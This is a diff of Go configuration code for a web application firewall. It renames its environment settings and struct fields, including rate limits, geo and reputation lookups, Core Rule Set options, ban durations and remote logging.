// InstanceName is the name every log line and alert gives as instance,
@@ -70,25 +69,26 @@ type Config struct {
// BytesLimitPerMinute, BytesLimitPerHour and BytesLimitPerDay are the
// most bytes a client's requests may carry in a minute, an hour and a
// day (SWW_WAF_BYTES_LIMIT_PER_MINUTE, SWW_WAF_BYTES_LIMIT_PER_HOUR and
// SWW_WAF_BYTES_LIMIT_PER_DAY). BytesCount is which body bytes count
// toward them (SWW_WAF_BYTES_COUNT): response, request or both.
// SWW_WAF_BYTES_LIMIT_PER_DAY). BytesCounted is which body bytes count
// toward them and the byte anomaly thresholds (SWW_WAF_BYTES_COUNTED):
// response, request or both.
BytesLimitPerMinute int64
BytesLimitPerHour int64
BytesLimitPerDay int64
BytesCount string
// LookupSource is where each client's AS number and country are
// looked up (SWW_WAF_LOOKUP_SOURCE): geojs, file, or off for nowhere.
// LookupDBPath is the lookup database, the IPinfo Lite file looked up
// in while LookupSource is file (SWW_WAF_LOOKUP_DB_PATH), and "" for any
// other source. A request waits up to LookupTimeout for its client's
// first answer from GeoJS while a setting needs it
// (SWW_WAF_LOOKUP_TIMEOUT), which cannot be off. AddLookupHeaders is true
// when the app is passed the client's AS number and country in headers
// (SWW_WAF_ADD_LOOKUP_HEADERS).
LookupSource string
LookupDBPath string
LookupTimeout time.Duration
AddLookupHeaders bool
BytesCounted string
// LookupSource is where each client's AS number and country are looked
// up (SWW_WAF_LOOKUP_SOURCE): geojs, file, or off for nowhere.
// LookupDBPath is the lookup database, the IPinfo Lite file looked up in
// while LookupSource is file (SWW_WAF_LOOKUP_DB_PATH), and "" for any
// other source. A request waits up to ASNAndCountryLookupTimeout for its
// client's first answer from GeoJS while a setting needs it
// (SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS), which cannot be off.
// AddLookupHeaders is true when the app is passed the client's AS number
// and country in headers (SWW_WAF_ADD_LOOKUP_HEADERS).
LookupSource string
LookupDBPath string
ASNAndCountryLookupTimeout time.Duration
AddLookupHeaders bool
// ExclusivelyAllowedCountries, when not empty, are the only countries
// whose clients are let through (SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES),
// two-letter codes in capitals, as GeoJS gives them.
@@ -105,21 +105,22 @@ type Config struct {
// RouteWatchURL is where the routewatch instance is that adds the asn=
// and prefix= tags, "" for none (SWW_WAF_ROUTEWATCH_URL).
RouteWatchURL string
// The biased thresholds. ASNBytesPercent and CountryBytesPercent give
// those they list a percentage of the byte limits in place of the one
// TagLimitPercent gives their asn= or country= tag
// (SWW_WAF_ASN_BYTES_PERCENT and SWW_WAF_COUNTRY_BYTES_PERCENT). Each holds
// percentages from 0 to 100, by AS number, written as AS64496, or by
// country, a two-letter code in capitals, as the lookup gives them.
// UnknownLimitPercent is the percentage of every limit a client without
// a country gets (SWW_WAF_UNKNOWN_LIMIT_PERCENT). ASNLimitPercentURL is
// The biased thresholds. ASNBytesLimitPercent and
// CountryBytesLimitPercent give those they list a percentage of the byte
// limits in place of the one TagLimitPercent gives their asn= or
// country= tag (SWW_WAF_ASN_BYTES_LIMIT_PERCENT and
// SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT). Each holds percentages from 0 to
// 100, by AS number, written as AS64496, or by country, a two-letter
// code in capitals, as the lookup gives them. UnknownCountryLimitPercent
// is the percentage of every limit a client without a country gets
// (SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT). ASNLimitPercentURL is
// where a file of AS:percent lines is fetched from, whose percentages
// count like asn= tags in TagLimitPercent (SWW_WAF_ASN_LIMIT_PERCENT_URL),
// "" while it is unset.
ASNBytesPercent map[string]int64
CountryBytesPercent map[string]int64
UnknownLimitPercent int64
ASNLimitPercentURL string
ASNBytesLimitPercent map[string]int64
CountryBytesLimitPercent map[string]int64
UnknownCountryLimitPercent int64
ASNLimitPercentURL string
// BlocklistURLs are where the blocklists are fetched from
// (SWW_WAF_BLOCKLIST_URLS). Each list, and ASNLimitPercentURL's, is
// fetched again BlocklistRefresh after it was last fetched or tried
@@ -139,21 +140,23 @@ type Config struct {
// of AbuseIPDBMinScore or more is a hit (SWW_WAF_ABUSEIPDB_MIN_SCORE), and
// at most AbuseIPDBDailyBudget checks are made a day
// (SWW_WAF_ABUSEIPDB_DAILY_BUDGET).
// ReputationAction is what is done with a client a zone's verdict lists,
// or whose score is a hit (SWW_WAF_REPUTATION_ACTION): deny, limit or log;
// for limit, ReputationLimitPercent is the percentage of every limit it
// gets. A verdict or a score is used for ReputationCacheTTL after it was
// fetched (SWW_WAF_REPUTATION_CACHE_TTL), and a query or a check may take
// ReputationTimeout (SWW_WAF_REPUTATION_TIMEOUT). Neither can be off.
DNSBLZones []string
DNSBLResolver netip.AddrPort
AbuseIPDBKey string
AbuseIPDBMinScore int64
AbuseIPDBDailyBudget int
ReputationAction string
ReputationLimitPercent int64
ReputationCacheTTL time.Duration
ReputationTimeout time.Duration
// DNSBLAbuseIPDBAction is what is done with a client a zone's verdict
// lists, or whose score is a hit (SWW_WAF_DNSBL_ABUSEIPDB_ACTION): deny,
// limit or log; for limit, DNSBLAbuseIPDBLimitPercent is the percentage
// of every limit it gets. A verdict or a score is used for
// IPReputationCacheTTL after it was fetched
// (SWW_WAF_IP_REPUTATION_CACHE_TTL), and a query or a check may take
// DNSBLAbuseIPDBTimeout (SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS). Neither
// can be off.
DNSBLZones []string
DNSBLResolver netip.AddrPort
AbuseIPDBKey string
AbuseIPDBMinScore int64
AbuseIPDBDailyBudget int
DNSBLAbuseIPDBAction string
DNSBLAbuseIPDBLimitPercent int64
IPReputationCacheTTL time.Duration
DNSBLAbuseIPDBTimeout time.Duration
// CrowdSecDecisionsURL is where the decision list of the CrowdSec
// engine whose local API SWW_WAF_CROWDSEC_LAPI_URL names is fetched from:
// that URL with v1/decisions added to its path, "" while it is unset and
@@ -171,11 +174,11 @@ type Config struct {
// (SWW_WAF_LIMIT_BAN_DURATION). A limit broken again within
// LimitBanRepeatWindow after the last ban ended bans for three times
// as long as that ban (SWW_WAF_LIMIT_BAN_REPEAT_WINDOW), and a ban that
// would be longer than MaxBanDuration is permanent instead
// (SWW_WAF_MAX_BAN_DURATION). None of them can be off.
LimitBanDuration time.Duration
LimitBanRepeatWindow time.Duration
MaxBanDuration time.Duration
// would be longer than LimitBanPermanentAbove is permanent instead
// (SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE). None of them can be off.
LimitBanDuration time.Duration
LimitBanRepeatWindow time.Duration
LimitBanPermanentAbove time.Duration
// AttackBanDuration is the ban for a first clear sign of attack
// (SWW_WAF_ATTACK_BAN_DURATION). It cannot be off.
AttackBanDuration time.Duration
@@ -185,13 +188,13 @@ type Config struct {
// client that a ban covers (SWW_WAF_BAN_SCOPE_V4_PREFIX).
BanScopeV4Prefix int
// StateDir is the directory of the state files, an absolute path
// (SWW_WAF_STATE_DIR). bans.json is written StateWriteDelay after a ban
// is made (SWW_WAF_STATE_WRITE_DELAY), and every state and cache file
// every StateCounterInterval (SWW_WAF_STATE_COUNTER_INTERVAL). Neither
// (SWW_WAF_STATE_DIR). bans.json is written BansWriteDelay after a ban
// is made (SWW_WAF_BANS_WRITE_DELAY), and every state and cache file
// every StateWriteInterval (SWW_WAF_STATE_WRITE_INTERVAL). Neither
// can be off.
StateDir string
StateWriteDelay time.Duration
StateCounterInterval time.Duration
StateDir string
BansWriteDelay time.Duration
StateWriteInterval time.Duration
// CacheDir is the directory of the cache files, which keep answers
// from outside services, an absolute path (SWW_WAF_CACHE_DIR).
CacheDir string
@@ -207,32 +210,38 @@ type Config struct {
AdminToken string
// MetricsToken is the bearer token a scraper sends for the metrics
// (SWW_WAF_METRICS_TOKEN), "" while it is unset and the metrics are off.
// MetricsTopN is how many AS numbers and how many countries get series
// of their own in the metrics (SWW_WAF_METRICS_TOP_N).
MetricsToken string
MetricsTopN int
// RulesDir is the directory of the rule files (SWW_WAF_RULES_DIR), read
// unless RulesEnabled is false (SWW_WAF_RULES_ENABLED).
RulesDir string
RulesEnabled bool
// WAFMode is what the Core Rule Set does (SWW_WAF_CORE_RULE_SET_MODE): WAFModeOff,
// WAFModeDetect or WAFModeBlock. WAFParanoiaLevel is its paranoia
// level, from 1 to 4 (SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL), and
// WAFAnomalyThreshold the anomaly score at which a request is a match
// (SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD), 0 while it is off. WAFDisabledRules
// are the ids of its rules switched off (SWW_WAF_CORE_RULE_SET_DISABLED_RULES),
// WAFExemptPaths the path prefixes it does not inspect
// (SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS), and WAFBodyLimit the most of a request body
// it reads (SWW_WAF_CORE_RULE_SET_BODY_LIMIT), 0 while it is off and it reads none.
// MetricsBusiestCountriesAndASNs is how many AS numbers and how many
// countries get series of their own in the metrics
// (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS).
MetricsToken string
MetricsBusiestCountriesAndASNs int
// RuleFilesDir is the directory of the rule files
// (SWW_WAF_RULE_FILES_DIR), read unless RuleFilesEnabled is false
// (SWW_WAF_RULE_FILES_ENABLED).
RuleFilesDir string
RuleFilesEnabled bool
// CoreRuleSetMode is what the Core Rule Set does
// (SWW_WAF_CORE_RULE_SET_MODE): CoreRuleSetModeOff,
// CoreRuleSetModeDetect or CoreRuleSetModeBlock.
// CoreRuleSetParanoiaLevel is its paranoia level, from 1 to 4
// (SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL), and CoreRuleSetScoreThreshold
// the anomaly score at which a request is a match
// (SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD), 0 while it is off.
// CoreRuleSetDisabledRules are the ids of its rules switched off
// (SWW_WAF_CORE_RULE_SET_DISABLED_RULES), CoreRuleSetExemptPaths the
// path prefixes it does not inspect (SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS),
// and CoreRuleSetBodyInspectionSize the most of a request body it reads
// (SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE), 0 while it is off and it
// reads none.
// CoreRuleSetExclusionsFile is the path of the file of its exclusions
// (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while there is none.
WAFMode string
WAFParanoiaLevel int
WAFAnomalyThreshold int
WAFDisabledRules []int
WAFExemptPaths []string
WAFBodyLimit int64
CoreRuleSetExclusionsFile string
CoreRuleSetMode string
CoreRuleSetParanoiaLevel int
CoreRuleSetScoreThreshold int
CoreRuleSetDisabledRules []int
CoreRuleSetExemptPaths []string
CoreRuleSetBodyInspectionSize int64
CoreRuleSetExclusionsFile string
// Apps are the names of the apps each hostname serves, by hostname in
// lowercase (SWW_WAF_APPS): a request gets only its hostname's apps' fixes
// to the Core Rule Set. Apps is nil while SWW_WAF_APPS is unset, and every
@@ -241,25 +250,26 @@ type Config struct {
// TrapPaths are the paths a request for which is a clear sign of
// attack (SWW_WAF_TRAP_PATHS), each starting with / and without a ?.
TrapPaths []string
// ErrorBurstThreshold is the most requests of a client within a minute
// RefusalsLimitPerMinute is the most requests of a client within a minute
// that waf may refuse after a rule file or Core Rule Set match; one
// more breaks a limit (SWW_WAF_ERROR_BURST_THRESHOLD). 0 is off.
ErrorBurstThreshold int64
// more breaks a limit (SWW_WAF_REFUSALS_LIMIT_PER_MINUTE). 0 is off.
RefusalsLimitPerMinute int64
// LogRemoteURL is where every line on stdout is also sent
// (SWW_WAF_LOG_REMOTE_URL), nil while it is unset and nothing is sent.
// LogRemoteTLSCAs are the certificates a syslog+tls endpoint's
// certificate must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil while
// it is unset and the host's own are used. LogRemoteBuffer is the most
// lines held while they wait to be sent (SWW_WAF_LOG_REMOTE_BUFFER).
// it is unset and the host's own are used. LogRemoteBufferLines is the
// most lines held while they wait to be sent
// (SWW_WAF_LOG_REMOTE_BUFFER_LINES).
// LogRemoteFacility is the number of the syslog facility
// (SWW_WAF_LOG_REMOTE_FACILITY), and LogRemoteAppName the APP-NAME
// (SWW_WAF_LOG_REMOTE_APP_NAME, by default InstanceName), of the records
// the lines are sent in.
LogRemoteURL *url.URL
LogRemoteTLSCAs *x509.CertPool
LogRemoteBuffer int
LogRemoteFacility int
LogRemoteAppName string
LogRemoteURL *url.URL
LogRemoteTLSCAs *x509.CertPool
LogRemoteBufferLines int
LogRemoteFacility int
LogRemoteAppName string
// AlertWebhookURL is where each alert is posted as JSON
// (SWW_WAF_ALERT_WEBHOOK_URL), nil while it is unset. AlertWebhookHeaders
// are sent with each (SWW_WAF_ALERT_WEBHOOK_HEADERS).
@@ -285,19 +295,19 @@ type Config struct {
// and bytes a minute and an hour per client (SWW_WAF_ANOMALY_CLIENT_*),
// per netblock around a client (SWW_WAF_ANOMALY_NET_*), per AS number
// (SWW_WAF_ANOMALY_ASN_*), for the whole service (SWW_WAF_ANOMALY_TOTAL_*)
// and per named netblock (SWW_WAF_WATCH_*), each 0 while it is off.
// AnomalyNetV4Prefix and AnomalyNetV6Prefix are the lengths of the
// netblock around a client (SWW_WAF_ANOMALY_NET_V4_PREFIX and
// SWW_WAF_ANOMALY_NET_V6_PREFIX), and WatchNets the named netblocks
// (SWW_WAF_WATCH_NETS).
// and per watched netblock (SWW_WAF_ANOMALY_WATCHED_NET_*), each 0 while
// it is off. AnomalyNetV4Prefix and AnomalyNetV6Prefix are the lengths
// of the netblock around a client (SWW_WAF_ANOMALY_NET_V4_PREFIX and
// SWW_WAF_ANOMALY_NET_V6_PREFIX), and AnomalyWatchedNets the watched
// netblocks (SWW_WAF_ANOMALY_WATCHED_NETS).
AnomalyClient anomaly.Thresholds
AnomalyNet anomaly.Thresholds
AnomalyASN anomaly.Thresholds
AnomalyTotal anomaly.Thresholds
AnomalyWatch anomaly.Thresholds
AnomalyWatchedNet anomaly.Thresholds
AnomalyNetV4Prefix int
AnomalyNetV6Prefix int
WatchNets []anomaly.NamedNetblock
AnomalyWatchedNets []anomaly.NamedNetblock
// settings are the values read, as given or by default, and the
// files they were read from, for the log line at start.
@@ -306,12 +316,12 @@ type Config struct {
// The values of SWW_WAF_CORE_RULE_SET_MODE.
const (
// WAFModeOff runs no request through the Core Rule Set.
WAFModeOff = off
// WAFModeDetect logs and alerts a match, and refuses nothing.
WAFModeDetect = "detect"
// WAFModeBlock refuses a match with 403.
WAFModeBlock = "block"
// CoreRuleSetModeOff runs no request through the Core Rule Set.
CoreRuleSetModeOff = off
// CoreRuleSetModeDetect logs and alerts a match, and refuses nothing.
CoreRuleSetModeDetect = "detect"
// CoreRuleSetModeBlock refuses a match with 403.
CoreRuleSetModeBlock = "block"
)
// fileSource is the SWW_WAF_LOOKUP_SOURCE that looks clients up in the
@@ -379,10 +389,10 @@ var (
"is not a name, = and a netblock, such as office=203.0.113.0/24")
errNotAbsolutePath = errors.New(
"is not an absolute path, such as /var/lib/sww")
errShortToken = errors.New("is shorter than 32 characters")
errNotMode = errors.New("is not enforce or observe")
errNotBytesCount = errors.New("is not response, request or both")
errNotPathPrefix = errors.New(
errShortToken = errors.New("is shorter than 32 characters")
errNotMode = errors.New("is not enforce or observe")
errNotBytesCounted = errors.New("is not response, request or both")
errNotPathPrefix = errors.New(
"is not a path prefix starting with /, such as /assets/")
errNotTrapPath = errors.New(
"is not a path starting with / and without a ?, such as /wp-login.php",
@@ -396,9 +406,11 @@ var (
errNotApp = errors.New(
"is not an app sww has fixes for; the apps are",
)
errNotWAFMode = errors.New("is not off, detect or block")
errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
errNotRuleID = errors.New(
errNotCoreRuleSetMode = errors.New("is not off, detect or block")
errNotParanoiaLevel = errors.New(
"is not a paranoia level, from 1 to 4",
)
errNotRuleID = errors.New(
"is not the id of a Core Rule Set rule, a whole number such as 942100",
)
errSetupRuleID = errors.New(
@@ -501,7 +513,7 @@ var (
)
)
// FromEnvironment reads the settings through v, normally the viper
// WAFFromEnvironment reads the settings through v, normally the viper
// NewViper returns, bound to the process's environment. A setting may
// instead be given as a file: the variable named by the setting's name
// with _FILE added names the file, which is read now (see lookup). A
@@ -509,9 +521,9 @@ var (
// invalid is an error that names it.
//
//nolint:funlen // one line for each setting, a list that grows with them
func FromEnvironment(v *viper.Viper) (*Config, error) {
func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
env := &environment{v: v}
cfg := &Config{
cfg := &WAF{
ListenAddr: env.address("SWW_WAF_LISTEN_ADDR"),
InstanceName: env.instanceName(),
Observe: env.observe("SWW_WAF_MODE", "enforce"),
@@ -545,15 +557,15 @@ func FromEnvironment(v *viper.Viper) (*Config, error) {
),
BytesLimitPerHour: env.size("SWW_WAF_BYTES_LIMIT_PER_HOUR", "50G"),
BytesLimitPerDay: env.size("SWW_WAF_BYTES_LIMIT_PER_DAY", "100G"),
BytesCount: env.bytesCount("SWW_WAF_BYTES_COUNT", "both"),
BytesCounted: env.bytesCounted("SWW_WAF_BYTES_COUNTED", "both"),
LookupSource: env.lookupSource(
"SWW_WAF_LOOKUP_SOURCE",
"geojs",
),
LookupDBPath: env.value("SWW_WAF_LOOKUP_DB_PATH", ""),
LookupTimeout: env.durationNotOff(
"SWW_WAF_LOOKUP_TIMEOUT",
"800ms",
ASNAndCountryLookupTimeout: env.milliseconds(
"SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS",
"800",
),
AddLookupHeaders: env.boolean("SWW_WAF_ADD_LOOKUP_HEADERS", "false"),
ExclusivelyAllowedCountries: env.countries(
@@ -562,16 +574,16 @@ func FromEnvironment(v *viper.Viper) (*Config, error) {
TagDeny: env.tags("SWW_WAF_TAG_DENY"),
TagLimitPercent: env.tagPercents("SWW_WAF_TAG_LIMIT_PERCENT"),
RouteWatchURL: env.routeWatchURL("SWW_WAF_ROUTEWATCH_URL"),
ASNBytesPercent: env.percents(
"SWW_WAF_ASN_BYTES_PERCENT",
ASNBytesLimitPercent: env.percents(
"SWW_WAF_ASN_BYTES_LIMIT_PERCENT",
ParseASN,
),
CountryBytesPercent: env.percents(
"SWW_WAF_COUNTRY_BYTES_PERCENT",
CountryBytesLimitPercent: env.percents(
"SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT",
parseCountry,
),
UnknownLimitPercent: env.percent(
"SWW_WAF_UNKNOWN_LIMIT_PERCENT",
UnknownCountryLimitPercent: env.percent(
"SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT",
"100",
),
ASNLimitPercentURL: env.listURL("SWW_WAF_ASN_LIMIT_PERCENT_URL"),
@@ -585,13 +597,13 @@ func FromEnvironment(v *viper.Viper) (*Config, error) {
"SWW_WAF_ABUSEIPDB_DAILY_BUDGET",
"900",
),
ReputationCacheTTL: env.durationNotOff(
"SWW_WAF_REPUTATION_CACHE_TTL",
IPReputationCacheTTL: env.durationNotOff(
"SWW_WAF_IP_REPUTATION_CACHE_TTL",
"24h",
),
ReputationTimeout: env.durationNotOff(
"SWW_WAF_REPUTATION_TIMEOUT",
"2s",
DNSBLAbuseIPDBTimeout: env.milliseconds(
"SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS",
"2000",
),
CrowdSecDecisionsURL: env.crowdSecDecisionsURL(
"SWW_WAF_CROWDSEC_LAPI_URL",
@@ -606,8 +618,8 @@ func FromEnvironment(v *viper.Viper) (*Config, error) {
"SWW_WAF_LIMIT_BAN_REPEAT_WINDOW",
"24h",
),
MaxBanDuration: env.durationNotOff(
"SWW_WAF_MAX_BAN_DURATION",
LimitBanPermanentAbove: env.durationNotOff(
"SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE",
"7d",
),
AttackBanDuration: env.durationNotOff(
@@ -620,12 +632,12 @@ func FromEnvironment(v *viper.Viper) (*Config, error) {
"SWW_WAF_STATE_DIR",
"/var/lib/sww",
),
StateWriteDelay: env.durationNotOff(
"SWW_WAF_STATE_WRITE_DELAY",
BansWriteDelay: env.durationNotOff(
"SWW_WAF_BANS_WRITE_DELAY",
"10s",
),
StateCounterInterval: env.durationNotOff(
"SWW_WAF_STATE_COUNTER_INTERVAL",
StateWriteInterval: env.durationNotOff(
"SWW_WAF_STATE_WRITE_INTERVAL",
"15m",
),
CacheDir: env.absolutePath(
@@ -636,48 +648,62 @@ func FromEnvironment(v *viper.Viper) (*Config, error) {
"SWW_WAF_LOG_REQUEST_HEADERS",
"accept,accept-language,accept-encoding,content-type,origin,range",
),
LogLevel: env.logLevel("SWW_WAF_LOG_LEVEL", "info"),
LogLevel: env.logLevel(
"SWW_WAF_LOG_LEVEL",
"info",
),
AdminToken: env.token("SWW_WAF_ADMIN_TOKEN"),
MetricsToken: env.token("SWW_WAF_METRICS_TOKEN"),
MetricsTopN: env.numberNotOff("SWW_WAF_METRICS_TOP_N", "50"),
RulesDir: env.value("SWW_WAF_RULES_DIR", "/etc/sww/rules.d"),
RulesEnabled: env.boolean("SWW_WAF_RULES_ENABLED", "true"),
WAFMode: env.wafMode(
"SWW_WAF_CORE_RULE_SET_MODE",
WAFModeBlock,
MetricsBusiestCountriesAndASNs: env.numberNotOff(
"SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS",
"50",
),
WAFParanoiaLevel: env.paranoiaLevel(
RuleFilesDir: env.value(
"SWW_WAF_RULE_FILES_DIR",
"/etc/sww/rules.d",
),
RuleFilesEnabled: env.boolean(
"SWW_WAF_RULE_FILES_ENABLED",
"true",
),
CoreRuleSetMode: env.coreRuleSetMode(
"SWW_WAF_CORE_RULE_SET_MODE",
CoreRuleSetModeBlock,
),
CoreRuleSetParanoiaLevel: env.paranoiaLevel(
"SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL",
"1",
),
WAFAnomalyThreshold: env.numberOrOff(
"SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD",
CoreRuleSetScoreThreshold: env.numberOrOff(
"SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD",
"5",
),
WAFDisabledRules: env.ruleIDs("SWW_WAF_CORE_RULE_SET_DISABLED_RULES",
"920340,920420,920440,920640,930130,930140"),
WAFExemptPaths: env.pathPrefixes(
CoreRuleSetDisabledRules: env.ruleIDs(
"SWW_WAF_CORE_RULE_SET_DISABLED_RULES",
"920340,920420,920440,920640,930130,930140",
),
CoreRuleSetExemptPaths: env.pathPrefixes(
"SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS",
"",
),
WAFBodyLimit: env.wafBodyLimit(
"SWW_WAF_CORE_RULE_SET_BODY_LIMIT",
CoreRuleSetBodyInspectionSize: env.coreRuleSetBodyInspectionSize(
"SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE",
off,
),
CoreRuleSetExclusionsFile: env.filePath(
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE"),
Apps: env.apps("SWW_WAF_APPS"),
TrapPaths: env.trapPaths("SWW_WAF_TRAP_PATHS"),
ErrorBurstThreshold: env.count(
"SWW_WAF_ERROR_BURST_THRESHOLD",
RefusalsLimitPerMinute: env.count(
"SWW_WAF_REFUSALS_LIMIT_PER_MINUTE",
"30",
),
LogRemoteURL: env.logRemoteURL("SWW_WAF_LOG_REMOTE_URL"),
LogRemoteTLSCAs: env.certificates(
"SWW_WAF_LOG_REMOTE_TLS_CA_FILE",
),
LogRemoteBuffer: env.numberNotOff(
"SWW_WAF_LOG_REMOTE_BUFFER",
LogRemoteBufferLines: env.numberNotOff(
"SWW_WAF_LOG_REMOTE_BUFFER_LINES",
"10000",
),
LogRemoteFacility: env.facility(
@@ -700,11 +726,11 @@ func FromEnvironment(v *viper.Viper) (*Config, error) {
"SWW_WAF_ALERT_MAX_PER_HOUR",
"60",
),
AnomalyClient: env.thresholds("SWW_WAF_ANOMALY_CLIENT_"),
AnomalyNet: env.thresholds("SWW_WAF_ANOMALY_NET_"),
AnomalyASN: env.thresholds("SWW_WAF_ANOMALY_ASN_"),
AnomalyTotal: env.thresholds("SWW_WAF_ANOMALY_TOTAL_"),
AnomalyWatch: env.thresholds("SWW_WAF_WATCH_"),
AnomalyClient: env.thresholds("SWW_WAF_ANOMALY_CLIENT_"),
AnomalyNet: env.thresholds("SWW_WAF_ANOMALY_NET_"),
AnomalyASN: env.thresholds("SWW_WAF_ANOMALY_ASN_"),
AnomalyTotal: env.thresholds("SWW_WAF_ANOMALY_TOTAL_"),
AnomalyWatchedNet: env.thresholds("SWW_WAF_ANOMALY_WATCHED_NET_"),
AnomalyNetV4Prefix: env.v4Prefix(
"SWW_WAF_ANOMALY_NET_V4_PREFIX",
"24",
@@ -713,15 +739,17 @@ func FromEnvironment(v *viper.Viper) (*Config, error) {
"SWW_WAF_ANOMALY_NET_V6_PREFIX",
"48",
),
WatchNets: env.namedNetblocks("SWW_WAF_WATCH_NETS"),
AnomalyWatchedNets: env.namedNetblocks(
"SWW_WAF_ANOMALY_WATCHED_NETS",
),
}
cfg.LogRemoteAppName = env.appName("SWW_WAF_LOG_REMOTE_APP_NAME",
cfg.InstanceName, cfg.LogRemoteURL != nil)
cfg.BlocklistAction, cfg.BlocklistLimitPercent = env.action(
"SWW_WAF_BLOCKLIST_ACTION", "deny")
cfg.ReputationAction, cfg.ReputationLimitPercent = env.action(
"SWW_WAF_REPUTATION_ACTION", "limit:25")
cfg.DNSBLAbuseIPDBAction, cfg.DNSBLAbuseIPDBLimitPercent = env.action(
"SWW_WAF_DNSBL_ABUSEIPDB_ACTION", "limit:25")
env.checkInstanceNameForNtfy(cfg.InstanceName, cfg.AlertNtfyURL != nil)
env.checkLookupDBPath(cfg)
@@ -741,7 +769,7 @@ func FromEnvironment(v *viper.Viper) (*Config, error) {
}
// WAFListenAddr reads only SWW_WAF_LISTEN_ADDR, which may be given as a
// file, as FromEnvironment does. The health check in waf's container needs
// file, as WAFFromEnvironment does. The health check in waf's container needs
// no other setting, so it reads no other, nor a file that another names.
func WAFListenAddr(v *viper.Viper) (string, error) {
env := &environment{v: v}
@@ -751,18 +779,18 @@ func WAFListenAddr(v *viper.Viper) (string, error) {
}
// InstanceName reads only SWW_WAF_INSTANCE_NAME, which may be given as a
// file, as FromEnvironment does, so that the line saying a setting is
// file, as WAFFromEnvironment does, so that the line saying a setting is
// invalid carries it too. A file that cannot be read gives the default
// here, and FromEnvironment then stops the start over it.
// here, and WAFFromEnvironment then stops the start over it.
func InstanceName(v *viper.Viper) string {
env := &environment{v: v}
return env.instanceName()
}
// LogValue makes a Config log as each setting's name with the value it was
// LogValue makes a WAF log as each setting's name with the value it was
// given, or its default.
func (c *Config) LogValue() slog.Value {
func (c *WAF) LogValue() slog.Value {
return slog.GroupValue(c.settings...)
}
@@ -795,10 +823,14 @@ func (e *environment) duration(name, defaultValue string) time.Duration {
return duration
}
// wafBodyLimit reads the setting that is the most of a request body the
// Core Rule Set reads.
func (e *environment) wafBodyLimit(name, defaultValue string) int64 {
limit, err := parseWAFBodyLimit(e.value(name, defaultValue))
// coreRuleSetBodyInspectionSize reads the setting that is the most of a
// request body the Core Rule Set reads.
func (e *environment) coreRuleSetBodyInspectionSize(
name, defaultValue string,
) int64 {
limit, err := parseCoreRuleSetBodyInspectionSize(
e.value(name, defaultValue),
)
e.check(name, err)
return limit
@@ -812,12 +844,12 @@ func (e *environment) count(name, defaultValue string) int64 {
return count
}
// bytesCount reads the setting that is which body bytes count toward the
// byte limits: response, request or both.
func (e *environment) bytesCount(name, defaultValue string) string {
// bytesCounted reads the setting that is which body bytes count toward the
// byte limits and the byte anomaly thresholds: response, request or both.
func (e *environment) bytesCounted(name, defaultValue string) string {
value := e.value(name, defaultValue)
if value != "response" && value != "request" && value != "both" {
e.check(name, fmt.Errorf("%q %w", value, errNotBytesCount))
e.check(name, fmt.Errorf("%q %w", value, errNotBytesCounted))
}
return value
@@ -859,12 +891,13 @@ func (e *environment) trapPaths(name string) []string {
return paths
}
// wafMode reads the setting that is what the Core Rule Set does: off,
// coreRuleSetMode reads the setting that is what the Core Rule Set does: off,
// detect or block.
func (e *environment) wafMode(name, defaultValue string) string {
func (e *environment) coreRuleSetMode(name, defaultValue string) string {
mode := e.value(name, defaultValue)
if mode != WAFModeOff && mode != WAFModeDetect && mode != WAFModeBlock {
e.check(name, fmt.Errorf("%q %w", mode, errNotWAFMode))
if mode != CoreRuleSetModeOff && mode != CoreRuleSetModeDetect &&
mode != CoreRuleSetModeBlock {
e.check(name, fmt.Errorf("%q %w", mode, errNotCoreRuleSetMode))
}
return mode
@@ -1078,7 +1111,7 @@ func (e *environment) lookupSource(name, defaultValue string) string {
// checkLookupDBPath refuses SWW_WAF_LOOKUP_SOURCE=file without
// SWW_WAF_LOOKUP_DB_PATH, and SWW_WAF_LOOKUP_DB_PATH with any other source:
// one source at a time.
func (e *environment) checkLookupDBPath(cfg *Config) {
func (e *environment) checkLookupDBPath(cfg *WAF) {
switch {
case cfg.LookupSource == fileSource && cfg.LookupDBPath == "":
e.check("SWW_WAF_LOOKUP_SOURCE", fmt.Errorf(
@@ -1100,9 +1133,9 @@ func (e *environment) checkLookupDBPath(cfg *Config) {
// up: the country list, SWW_WAF_ADD_LOOKUP_HEADERS, the tag settings that name
// an asn= or country= tag, the biased thresholds,
// SWW_WAF_ASN_LIMIT_PERCENT_URL among them, of which
// SWW_WAF_UNKNOWN_LIMIT_PERCENT needs them only below 100, where it lowers a
// SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT needs them only below 100, where it lowers a
// limit, and the anomaly thresholds per AS number.
func (e *environment) checkCountriesAndLookups(cfg *Config) {
func (e *environment) checkCountriesAndLookups(cfg *WAF) {
for _, country := range cfg.ExclusivelyAllowedCountries {
if slices.Contains(cfg.TagDeny, CountryTagPrefix+country) {
